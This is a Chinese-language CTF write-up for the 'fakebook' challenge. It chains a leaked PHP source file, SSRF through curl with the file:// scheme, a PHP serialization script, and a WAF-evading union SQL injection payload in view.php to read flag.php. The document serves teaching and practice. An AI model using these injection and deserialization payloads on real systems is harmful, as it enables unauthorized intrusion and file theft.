【网鼎杯】fakebook:SQL注入+反序列化

2022年3月17日 作者 Alien-Song

拿到题目是一个注册类的界面,通过robots.txt获得了源码泄露

User-agent: *
Disallow: /user.php.bak

user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

代码审计get函数存在ssrf漏洞,使用curl发起网络请求然后返回客户端,

参考:curl_exec–任意文件读取

将flag路径赋给blog就会返回flag的值
御剑扫一下发现了flag.php文件

同时,使用SQLMAP发现了数据库中存储的是反序列化后的结果,印证了猜想

所以我们可以构造blog参数为file协议访问flag.php的内容

<?php  

class UserInfo{ 
    public $name = '123';
    public $age = 456;
    public $blog = "file:///var/www/html/flag.php";
}  
$test = new UserInfo();
echo serialize($test);
?> 

因为WAF的限制,选择从no处手工注入

可知长度为4

构造payload:

view.php?no=0 union/**/select 1,2,3,’O:8:”UserInfo”:3:{s:4:”name”;s:4:”c7ay”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;}’
理论上可以得到flag(环境有点问题)

所以

当然了这道题非预期直接用sqlshell+loadfile